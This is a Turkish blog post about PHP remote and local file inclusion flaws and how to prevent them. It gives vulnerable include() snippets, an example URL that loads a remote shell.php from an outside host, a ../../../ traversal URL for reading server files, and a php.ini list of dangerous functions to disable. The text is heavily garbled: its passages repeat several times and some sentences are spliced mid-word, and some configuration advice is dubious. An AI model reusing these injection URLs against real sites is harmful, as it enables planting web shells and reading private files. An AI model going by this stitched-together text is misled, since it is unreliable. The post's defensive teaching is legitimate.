Reklam

Reklamlar

8 Haziran 2010 Salı

PHP’de RFI/LFI Açıkları ve Korunmak İçin Yapılması Gerekenler

*Remote File İnclude: Uzaktan Dosya Dahil Etme anlamına gelmektedir.
*Local File İnclude: ise Aynı serverdan dosya dahil etme anlamına gelmektedir…
include / include_once : Bu kodla uzaktan dosya dahil edilir.Uzun satırlar alan kodlar bu komutla başka sayfada kodlanmış olarak gösterilerek tek satıra indirgenir…

require / require_once :
Bu kod da aynı include kodunun yaptığı işi yapar,fakat include ile kodlanmış bi sayfada çağrılan(dahil edilen) dosya bulunamazsa php yorumlayıcımız bu kodun olduğu satırı hata mesajı göndererek atlar ve sayfanın diğer kalan kodlarını yorumlamaya devam eder fakat include komutundan sonra require komutu da kullanılmışsa; çağırılan dosya bulunamadığı taktirde bir hata verir ve yorumlamayı durdurur. require in include den farkı budur. Yine de RFI/LFI açığı bulurken require ile include aynı derecede işimize yarar(ilerde görücez).
variable : Değişken anlamına gelmektedir.Bizim açığımız da bu kodlamadan kaynaklanmaktadır. Yani örneğin ; include ile bi dosya, sayfaya dahil edilirken komutun içinde değişkenler de bulunur (örnek bi değişken : $external). Bu değişken aynı sayfada define edilmezse yani
*Remote File İnclude: Uzaktan Dosya Dahil Etme anlamına gelmektedir.
*Local File İnclude: ise Aynı serverdan dosya dahil etme anlamına gelmektedir…
include / include_once : Bu kodla uzaktan dosya dahil edilir.Uzun satırlar alan kodlar bu komutla başka sayfada kodlanmış olarak gösterilerek tek satıra indirgenir…

require / require_once :
Bu kod da aynı include kodunun yaptığı işi yapar,fakat include ile kodlanmış bi sayfada çağrılan(dahil edilen) dosya bulunamazsa php yorumlayıcımız bu kodun olduğu satırı hata mesajı göndererek atlar ve sayfanın diğer kalan kodlarını yorumlamaya devam eder fakat include komutundan sonra require komutu da kullanılmışsa; çağırılan dosya bulunamadığı taktirde bir hata verir ve yorumlamayı durdurur. require in include den farkı budur. Yine de RFI/LFI açığı bulurken require ile include aynı derecede işimize yarar(ilerde görücez).
variable : Değişken anlamına gelmektedir.Bizim açığımız da bu kodlamadan kaynaklanmaktadır. Yani örneğin ; include ile bi dosya, sayfaya dahil edilirken komutun içinde değişkenler de bulunur (örnek bi değişken : $external). Bu değişken aynı sayfada define edilmezse yani tanımlanmazsa burda bu açık kullanılabilir…
Remote File İnclude (RFI)
Uzaktan dosya dahil etme anlama gelen RFI da tanımlanmamış değişkenler tanımlanır ve açık varsa istenilen değere atanır… örneğin ; shell(c99,r57 vs… ).

include ($external. ’../function.php’) ;
?>
Bu Kodu,
Vermiş olduğum bu kodu x.php olarak kaydedip php destekleyen bi hosta atın ve çalıştırın.Bu sayfayı çalıştıdığınızda bi hata alıcaksınız.Bu hata dahil ettiğimiz function.php dosyasının bulunamamasından kaynaklanmaktadır,bu bizi ilgilendirmiyor.
www.site.com/x.php?external=http://www.sitemiz.com/shell.php?
Açık yukarıdaki gibi kullanılabilir.Engellemek için :

$external= ’data’;
include ($external. ’../function.php’);
?>
Vermiş olduğum bu kodu da x2.php olarak kaydedip hostunuza atın ve yine bu sayfayı açtığınız zaman tekrar function.php dosyasının b
*Remote File İnclude: Uzaktan Dosya Dahil Etme anlamına gelmektedir.
*Local File İnclude: ise Aynı serverdan dosya dahil etme anlamına gelmektedir…
include / include_once : Bu kodla uzaktan dosya dahil edilir.Uzun satırlar alan kodlar bu komutla başka sayfada kodlanmış olarak gösterilerek tek satıra indirgenir…

require / require_once :
Bu kod da aynı include kodunun yaptığı işi yapar,fakat include ile kodlanmış bi sayfada çağrılan(dahil edilen) dosya bulunamazsa php yorumlayıcımız bu kodun olduğu satırı hata mesajı göndererek atlar ve sayfanın diğer kalan kodlarını yorumlamaya devam eder fakat include komutundan sonra require komutu da kullanılmışsa; çağırılan dosya bulunamadığı taktirde bir hata verir ve yorumlamayı durdurur. require in include den farkı budur. Yine de RFI/LFI açığı bulurken require ile include aynı derecede işimize yarar(ilerde görücez).

variable : Değişken anlamına gelmektedir.Bizim açığımız da bu kodlamadan kaynaklanmaktadır. Yani örneğin ; include ile bi dosya, sayfaya dahil edilirken komutun içinde değişkenler de bulunur (örnek bi değişken : $external). Bu değişken aynı sayfada define edilmezse yani tanımlanmazsa burda bu açık kullanılabilir…
Remote File İnclude (RFI)
Uzaktan dosya dahil etme anlama gelen RFI da tanımlanmamış değişkenler tanımlanır ve açık varsa istenilen değere atanır… örneğin ; shell(c99,r57 vs… ).

include ($external. ’../function.php’) ;
?>
Bu Kodu,
Vermiş olduğum bu kodu x.php olarak kaydedip php destekleyen bi hosta atın ve çalıştırın.Bu sayfayı çalıştıdığınızda bi hata alıcaksınız.Bu hata dahil ettiğimiz function.php dosyasının bulunamamasından kaynaklanmaktadır,bu bizi ilgilendirmiyor.
www.site.com/x.php?external=http://www.sitemiz.com/shell.php?
Açık yukarıdaki gibi kullanılabilir.Engellemek için :

$external= ’data’;
include ($external. ’../function.php’);
?>
Vermiş olduğum bu kodu da x2.php olarak kaydedip hostunuza atın ve yine bu sayfayı açtığınız zaman tekrar function.php dosyasının bulunamamasından dolayı bi hata alacaksınız fakat bu yine bizi ilgilendirmiyor.
www.site.com/x2.php?external=http://www.sitemiz.com/shell.php?
Shell tekrar servera sokulmaya çalışılırsa başarısız olunur.Burda $external veriable ımız tanımlanmıştır.
Bu yüzden biz tanımlanmış bi değişkeni kullanarak tekrar tanımlayarak servera giremeyiz…
Local File İnclude (LFI)
Yeral serverdan dosya dahil etme anlamına gelen bu açık RFI kadar etkili değildir.
Örneğin ;

include (’data/$external/function.php’);
?>
Burda aynı RFI açığında gördüğümüz gibi $external veriable ının tanımlanmadığını görmekteyiz.
Fakat bu LFI da shell atarak kullanlamaz.Tanımlanmayan değişken kullanılarak okuma izni olan dosyalar okunabilir.Yukarıdaki kodu x3.php olarak kaydedin ve hosta atın :
www.site.com/x3.php?external=../../../asd
Bununla server ın asd dosyası okunabilir.İzin verilen bütün dosyaları okunabilir…Engellemek için:

$external=’asdf’
include (’data/$external/function.php’);
?>
Bu kodu da x4.php diye kaydedip hosta atın ve aşağıdaki gibi çalıştırın :
www.site.com/x4.php?external=../../../asd
Bu sefer LFI açığının çalışmadığı görülecektir.Nedeni ise $external veriable ının tanımlanmasıdır.
Bu saldırıları önlemenin diğer bi yolu ise :
/etc/php.ini dosyasını açarak
disable_function satırının karşısına şunları eklememiz gerekiyor :
system,passthru,proc_nice,exec,popen,proc_close,execute,proc_get_sta tus,proc_open,allow_url_fopen,shell,
ve sonra “service htttpd restart” diyoruz…Bu fonksiyonları disable ettiğimiz için serverımızda bazı scriptler çalışmıyacaktır.Tabi korunmak için bazı scriptlerden feragat etmek gerekir :)
İşte bu açıkların bulunmadığı bi sisteminizin olmasını istiyosanız scriptinizi inceleyerek tanımlanmamış variable’ları tanımlayarak RFI/LFI saldırılarını önleyebilirsiniz…
ulunamamasından dolayı bi hata alacaksınız fakat bu yine bizi ilgilendirmiyor.
www.site.com/x2.php?external=http://www.sitemiz.com/shell.php?
Shell tekrar servera sokulmaya çalışılırsa başarısız olunur.Burda $external veriable ımız tanımlanmıştır.
Bu yüzden biz tanımlanmış bi değişkeni kullanarak tekrar tanımlayarak servera giremeyiz…
Local File İnclude (LFI)
Yeral serverdan dosya dahil etme anlamına gelen bu açık RFI kadar etkili değildir.
Örneğin ;

include (’data/$external/function.php’);
?>
Burda aynı RFI açığında gördüğümüz gibi $external veriable ının tanımlanmadığını görmekteyiz.
Fakat bu LFI da shell atarak kullanlamaz.Tanımlanmayan değişken kullanılarak okuma izni olan dosyalar okunabilir.Yukarıdaki kodu x3.php olarak kaydedin ve hosta atın :
www.site.com/x3.php?external=../../../asd
Bununla server ın asd dosyası okunabilir.İzin verilen bütün dosyaları okunabilir…Engellemek için:

$external=’asdf’
include (’data/$external/function.php’);
?>
Bu kodu da x4.php diye kaydedip hosta atın ve aşağıdaki gibi çalıştırın :
www.site.com/x4.php?external=../../../asd
Bu sefer LFI açığının çalışmadığı görülecektir.Nedeni ise $external veriable ının tanımlanmasıdır.
Bu saldırıları önlemenin diğer bi yolu ise :
/etc/php.ini dosyasını açarak
disable_function satırının karşısına şunları eklememiz gerekiyor :
system,passthru,proc_nice,exec,popen,proc_close,execute,proc_get_sta tus,proc_open,allow_url_fopen,shell,
ve sonra “service htttpd restart” diyoruz…Bu fonksiyonları disable ettiğimiz için serverımızda bazı scriptler çalışmıyacaktır.Tabi korunmak için bazı scriptlerden feragat etmek gerekir :)
İşte bu açıkların bulunmadığı bi sisteminizin olmasını istiyosanız scriptinizi inceleyerek tanımlanmamış variable’ları tanımlayarak RFI/LFI saldırılarını önleyebilirsiniz…
tanımlanmazsa burda bu açık kullanılabilir…
Remote File İnclude (RFI)
Uzaktan dosya dahil etme anlama gelen RFI da tanımlanmamış değişkenler tanımlanır ve açık varsa istenilen değere atanır… örneğin ; shell(c99,r57 vs… ).

include ($external. ’../function.php’) ;
?>
Bu Kodu,
Vermiş olduğum bu kodu x.php olarak kaydedip php destekleyen bi hosta atın ve çalıştırın.Bu sayfayı çalıştıdığınızda bi hata alıcaksınız.Bu hata dahil ettiğimiz function.php dosyasının bulunamamasından kaynaklanmaktadır,bu bizi ilgilendirmiyor.
www.site.com/x.php?external=http://www.sitemiz.com/shell.php?
Açık yukarıdaki gibi kullanılabilir.Engellemek için :

$external= ’data’;
include ($external. ’../function.php’);
?>
Vermiş olduğum bu kodu da x2.php olarak kaydedip hostunuza atın ve yine bu sayfayı açtığınız zaman tekrar function.php dosyasının bulunamamasından dolayı bi hata alacaksınız fakat bu yine bizi ilgilendirmiyor.
www.site.com/x2.php?external=http://www.sitemiz.com/shell.php?
Shell tekrar servera sokulmaya çalışılırsa başarısız olunur.Burda $external veriable ımız tanımlanmıştır.
Bu yüzden biz tanımlanmış bi değişkeni kullanarak tekrar tanımlayarak servera giremeyiz…
Local File İnclude (LFI)
Yeral serverdan dosya dahil etme anlamına gelen bu açık RFI kadar etkili değildir.
Örneğin ;

include (’data/$external/function.php’);
?>
Burda aynı RFI açığında gördüğümüz gibi $external veriable ının tanımlanmadığını görmekteyiz.
Fakat bu LFI da shell atarak kullanlamaz.Tanımlanmayan değişken kullanılarak okuma izni olan dosyalar okunabilir.Yukarıdaki kodu x3.php olarak kaydedin ve hosta atın :
www.site.com/x3.php?external=../../../asd
Bununla server ın asd dosyası okunabilir.İzin verilen bütün dosyaları okunabilir…Engellemek için:

$external=’asdf’
include (’data/$external/function.php’);
?>
Bu kodu da x4.php diye kaydedip hosta atın ve aşağıdaki gibi çalıştırın :
www.site.com/x4.php?external=../../../asd
Bu sefer LFI açığının çalışmadığı görülecektir.Nedeni ise $external veriable ının tanımlanmasıdır.
Bu saldırıları önlemenin diğer bi yolu ise :
/etc/php.ini dosyasını açarak
disable_function satırının karşısına şunları eklememiz gerekiyor :
system,passthru,proc_nice,exec,popen,proc_close,execute,proc_get_sta tus,proc_open,allow_url_fopen,shell,
ve sonra “service htttpd restart” diyoruz…Bu fonksiyonları disable ettiğimiz için serverımızda bazı scriptler çalışmıyacaktır.Tabi korunmak için bazı scriptlerden feragat etmek gerekir :)
İşte bu açıkların bulunmadığı bi sisteminizin olmasını istiyosanız scriptinizi inceleyerek tanımlanmamış variable’ları tanımlayarak RFI/LFI saldırılarını önleyebilirsiniz…
Dipnot
Bu yazı 8 Haziran 2010 Salı günü yazılmıştır. Bulunduğu kategori : ,,,,,,,,,,. Yazdığım yazıları RSS 2.0 sistemini kullanarak takip edebilir, dilerseniz yorum yapabilirsiniz. Unutmadan, Bu yazı sizler tarafından tam tamına defa okunmuştur.

Hiç yorum yok:

Yorum Gönder

Sitemizi ziyaret ettiğiniz için teşekkür ederiz


Php Dersleri

ebook library